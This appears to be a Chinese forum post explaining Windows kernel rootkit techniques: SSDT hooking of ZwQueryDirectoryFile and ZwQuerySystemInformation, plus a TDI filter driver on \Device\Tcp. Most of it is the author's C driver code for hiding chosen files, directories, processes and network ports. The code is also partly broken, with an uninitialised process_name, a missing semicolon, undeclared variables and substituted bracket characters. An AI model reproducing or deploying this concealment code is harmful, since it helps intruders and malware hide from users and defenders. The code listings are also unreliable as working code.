隐藏任意进程，目录文件，注册表，端口
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隐藏任意进程，目录/文件，注册表，端口
查找进程，目录/文件，注册表等操作系统将最终调用 ZwQueryDirectoryFile，ZwQuerySystemInformation，
ZwXXXvalueKey 等函数。要想拦截这些函数达到隐藏目的，需先自己实现以上函数，并修改系统维护的一个
SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见，所以要写 DRIVE 在 RING 0 下
才可修改。关于如何修改已有文章详细介绍过，这里不在详述。（可以参见 sysinternals.com 或 WebCrazy 所
写的文章）。查找端口用的是 TDI 查询。TDI 导出了两个设备 //Device//Tcp 与 //Device//Udp。我们可以利
用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到
隐藏任意端口的目的。上述提到的方法不是新东西，是在N年前就已经有的老技术。俺现在将它贴出来只不过为了
充实下版面，灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程，目录/文件，端口代码片段。
（注册表操作在 RegMon 中写的很详细，这里就不列出了）
typedef struct _FILETIME
{
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME;
typedef struct _DirEntry
{
DWORD dwLenToNext;
DWORD dwAttr;
FILETIME ftCreate, ftLastAccess, ftLastWrite;
DWORD dwUnknown[ 2 ];
DWORD dwFileSizeLow;
DWORD dwFileSizeHigh;
DWORD dwUnknown2[ 3 ];
WORD wNameLen;
WORD wUnknown;
DWORD dwUnknown3;
WORD wShortNameLen;
WCHAR swShortName[ 12 ];
WCHAR suName[ 1 ];
} DirEntry, *PDirEntry;
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct _SYSTEM_THREADS Threads[1];
};
// 隐藏目录/文件
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
NTSTATUS rc;
CHAR aProcessName[80];
ANSI_STRING ansiFileName,ansiDirName;
UNICODE_STRING uniFileName;
PP_DIR ptr;
WCHAR ParentDirectory[1024] = {0};
int BytesReturned;
PVOID Object;
// 执行旧的ZwQueryDirectoryFile函数
rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
bReturnOnlyOneEntry,
PathMask,
bRestartQuery);
if(NT_SUCCESS(rc))
{
PDirEntry p;
PDirEntry pLast;
BOOL bLastOne;
int found;
p = (PDirEntry)FileInformationBuffer; // 将查找出来结果赋给结构
pLast = NULL;
do
{
bLastOne = !( p-〉dwLenToNext );
RtlInitUnicodeString(&uniFileName,p-〉suName);
RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
RtlUpperString(&ansiFileName,&ansiDirName);
found=0;
// 在链表中查找是否包含当前目录
for(ptr = list_head; ptr != NULL; ptr = ptr-〉next)
{
if (ptr-〉flag != PTR_HIDEDIR) continue;
if( RtlCompareMemory( ansiFileName.Buffer, ptr-〉name,strlen(ptr-〉name) ) == strlen(ptr-〉name))
{
found=1;
break;
}
}//end for
// 如果链表中包含当前目录，隐藏
if(found)
{
if(bLastOne)
{
if(p == (PDirEntry)FileInformationBuffer )
{
rc = 0x80000006; //隐藏
}
else
pLast-〉dwLenToNext = 0;
break;
}
else
{
int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
int iLeft = (DWORD)FileInformationBufferLength - iPos - p-〉dwLenToNext;
RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p-〉dwLenToNext ), (DWORD)iLeft );
continue;
}
}
pLast = p;
p = (PDirEntry)((char *)p + p-〉dwLenToNext );
}while( !bLastOne );
RtlFreeAnsiString(&ansiDirName);
RtlFreeAnsiString(&ansiFileName);
}
return(rc);
}
// 隐藏进程
NTSTATUS HookZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rc;
ANSI_STRING process_name,process_uname,process_name1,process_name2;
BOOL g_hide_proc = TRUE;
CHAR aProcessName[80];
PP_DIR ptr;
int found;
// 执行旧的ZwQuerySystemInformation函数
rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if(NT_SUCCESS(rc ))
{
if( g_hide_proc && (5 == SystemInformationClass))
{
// 将查找出来结果赋给结构
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
// 遍历进程
while(curr)
{
if((0 〈 process_name.Length) && (255 〉 process_name.Length))
{
found=0;
// 遍历链表
for (ptr=list_head;ptr!=NULL;ptr=ptr-〉next )
{
if (ptr-〉flag != PTR_HIDEPROC) continue ;
if (memcmp(process_name.Buffer,ptr-〉name,strlen(ptr-〉name)) == 0)
{
found =1;
}
}
// 判断如果是隐藏进程名则覆盖掉此进程名
while(found)
{
if(prev)
{
if(curr-〉NextEntryDelta)
{
prev-〉NextEntryDelta += curr-〉NextEntryDelta;
}
else
{
prev-〉NextEntryDelta = 0;
}
}
else
{
if(curr-〉NextEntryDelta)
{
(char *)SystemInformation += curr-〉NextEntryDelta;
}
else
{
SystemInformation = NULL;
}
}
if(curr-〉NextEntryDelta)((char *)curr += curr-〉NextEntryDelta);
else
{
curr = NULL;break;
}
// 遍历链表
found = 0;
for (ptr=list_head;ptr!=NULL;ptr=ptr-〉next )
{
if (ptr-〉flag != PTR_HIDEPROC) continue ;
if (memcmp(process_name.Buffer,ptr-〉name,strlen(ptr-〉name)) == 0)
{
found = 1;
}
}
}
}
if(curr != NULL)
{
prev = curr;
if(curr-〉NextEntryDelta) ((char *)curr += curr-〉NextEntryDelta);
else curr = NULL;
}
}
}
}
return(rc);
}
//隐藏端口
PDEVICE_OBJECT m_TcpgetDevice;
PDEVICE_OBJECT TcpDevice;
UNICODE_STRING TcpDeviceName;
PDRIVER_OBJECT TcpDriver;
PDEVICE_OBJECT TcpgetDevice;
PDEVICE_OBJECT FilterDevice
PDRIVER_DISPATCH Empty;
NTSTATUS status;
Empty = DriverObject-〉MajorFunction[IRP_MJ_CREATE];
RtlInitUnicodeString( &TcpDeviceName, L"//Device//Tcp");
//得到已有的设备指针
status = IoGetDeviceObjectPointer( &TcpDeviceName,
FILE_ALL_ACCESS,
&FileObject,
&TcpDevice
);
if(!NT_SUCCESS(status))
{
DbgPrint("IoGetDeviceObjectPointer error!/n");
return status;
}
DbgPrint("IoGetDeviceObjectPointer ok!/n");
// 建立设备
status = IoCreateDevice( DriverObject,
sizeof(DEVICE_EXTENSION),
NULL,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&FilterDevice
);
if(!NT_SUCCESS(status))
{
return status;
}
// 加入设备
TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);
if(!TcpgetDevice)
{
IoDeleteDevice(FilterDevice);
DbgPrint("IoAttachDeviceToDeviceStack error!/n");
return STATUS_SUCCESS;
}
m_TcpgetDevice = TcpgetDevice;
// 加到过滤函数中处理
for(i=0;i〈IRP_MJ_MAXIMUM_FUNCTION;i++)
{
if((TcpDriver-〉MajorFunction[i]!=Empty)&&(DriverObject-〉MajorFunction[i]==Empty))
{
DriverObject-〉MajorFunction[i] = PassThrough;
}
}
ObDereferenceObject(FileObject);
NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
NTSTATUS status;
PIO_STACK_LOCATION pIrpStack;
pIrpStack = IoGetCurrentIrpStackLocation( Irp );
//如是查询则完成 IRP
if ( pIrpStack-〉Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX)
{
//这里可以近一步判断某个端口
Irp-〉IoStatus.Status=STATUS_SUCCESS;
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
//复制当前 IRP
IoCopyCurrentIrpStackLocationToNext(Irp);
IoSetCompletionRoutine( Irp,
GenericCompletion,
NULL,
TRUE,
TRUE,
TRUE
);
//传递
return IoCallDriver( m_TcpgetDevice, Irp);
}
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